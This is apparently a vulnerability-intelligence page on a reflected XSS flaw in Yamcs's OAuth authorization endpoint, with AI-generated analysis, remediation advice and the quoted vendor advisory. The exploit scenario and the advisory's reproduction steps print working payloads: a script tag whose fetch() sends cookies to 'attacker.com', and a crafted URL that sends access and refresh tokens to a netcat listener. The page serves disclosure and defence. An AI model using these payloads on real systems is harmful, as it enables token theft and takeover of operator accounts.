Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious /auth/authorize URL with script-injected redirect_uri
-
DeliveryDeliver URL to authenticated Yamcs operator via phishing
-
ExploitVictim browser loads URL, server reflects unescaped parameter into HTML
-
ExecutionInjected script executes in Yamcs session context
-
Persistfetch() exfiltrates access and refresh tokens to attacker listener
-
ImpactAttacker replays tokens to authenticate as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The victim must be authenticated to Yamcs (logged in with an active session) at the time the crafted URL is loaded, because the attack targets the OAuth authorization page to steal the session token of the current user - an unauthenticated visitor has no token to steal. The Yamcs instance must be using the built-in Yamcs authentication handler that renders the /auth/authorize endpoint (authorize.html via AuthHandler.java); deployments that proxy authentication entirely through an external IdP and do not expose this endpoint may not be affected. The attacker must be able to deliver a URL to the victim and induce a browser navigation to it (phishing, link injection, etc.). No special server configuration beyond a default Yamcs installation is required - the endpoint is part of the standard OAuth flow enabled by default. Exploitation is limited by the UI:R requirement: automated mass exploitation is not feasible without victim interaction, but targeted social engineering against specific operators is realistic given the trivial payload construction. |
| Impact | The CVSS 3.1 base score of 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) reflects low attack complexity and no authentication requirement but is gated by mandatory user interaction - the victim must load the attacker-crafted URL while authenticated. The S:U assignment is conservative; a case for S:C exists since the XSS executes in the victim's browser security context, distinct from the Yamcs server component. EPSS data was not provided, limiting probabilistic exploitation assessment. KEV status is not confirmed, indicating no known active exploitation by CISA at time of analysis. However, the GHSA advisory includes a complete, step-by-step proof-of-concept with an exact working URL payload requiring no specialized tooling beyond a netcat listener, meaning barrier to exploitation is extremely low for any attacker who can socially engineer a victim link click. The impact is high: token exfiltration leads directly to account takeover, which in a mission control context could have operational safety implications beyond typical enterprise software. Real-world risk is higher than the 6.5 score suggests when the target environment is a space operations network where Yamcs operator accounts carry privileged access to spacecraft commanding interfaces. |
| Exploit ScenarioDerived | An attacker registers a netcat listener on a public server, then constructs a URL targeting the Yamcs /auth/authorize endpoint with a redirect_uri parameter containing an injected fetch-based script tag (e.g., redirect_uri=...%22><script>fetch('https://attacker.com?c='+document.cookie)</script>). The attacker delivers this URL to a Yamcs operator via a phishing email or internal chat link. When the operator - already authenticated to Yamcs - loads the URL, the unescaped parameter is reflected into the authorize.html response and the script executes, transmitting the operator's access and refresh tokens to the attacker's listener. A complete working payload is published in GHSA-rxpg-wjf8-qv9c, confirming exploitability requires no special tooling. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
Reflected XSS in Yamcs versions through 5.8.6 allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in a logged-in user's browser by delivering a specially crafted URL targeting the OAuth authorization endpoint. Exploitation exfiltrates the victim's session and refresh tokens to an attacker-controlled server, enabling complete account takeover. No public exploit identified at time of analysis independent of the advisory, though GHSA-rxpg-wjf8-qv9c includes a working reproduction payload with exact URL and netcat listener steps; vendor patch is available in 5.9.4 (CVSS 6.5, UI:R).
RemediationAI
Upgrade to Yamcs 5.9.4 or later, which contains the HTML-escaping fix applied in commit 4d47d5cdcf5d92c2c5bbbc19feada422923332e3; the release is available at https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4 and the advisory is at https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c. If immediate upgrade is not feasible, consider deploying a Web Application Firewall rule to block requests to /auth/authorize whose redirect_uri or other query parameters contain HTML tag characters (<, >, script keywords), accepting that this may interfere with legitimate OAuth redirect URIs containing encoded characters. Additionally, enforce short session token lifetimes and token binding where supported to reduce the window of usefulness for exfiltrated tokens. User awareness of phishing-style crafted URLs is a supplementary but weak control given the low technical barrier of this attack.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Yamcs (Yet Another Mission Control System) is an open-source Java-based spacecraft mission control framework distributed as the Maven artifact org.yamcs:yamcs-core. The vulnerability (CWE-79, Reflected XSS) exists in the OAuth 2.0/OpenID Connect authorization endpoint exposed at /auth/authorize, implemented across authorize.html, AuthHandler.java, and HandlerContext.java. URL parameters - specifically the redirect_uri and surrounding query string values - were rendered into the HTML response via Yamcs's internal templating engine without HTML-entity encoding, allowing injection of arbitrary HTML tags including script blocks. The fix, visible in commit 4d47d5cdcf5d92c2c5bbbc19feada422923332e3, introduces a new EscapeFilter class that encodes the five critical HTML special characters (&, <, >, ', ") and threads a filter pipeline through the template rendering stack (TemplateBody, IfStatement, VarStatement), enabling template authors to apply the escape filter to interpolated variables via pipe syntax.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
S:C applies because XSS executes in the victim browser (distinct from server); I:L reflects account takeover enabling attacker-controlled actions post-exploitation.
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
DescriptionCVE.org
Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />
You then use JavaScript to obtain the user's cookies and display them in the alert:
<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-67841
GHSA-rxpg-wjf8-qv9c
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB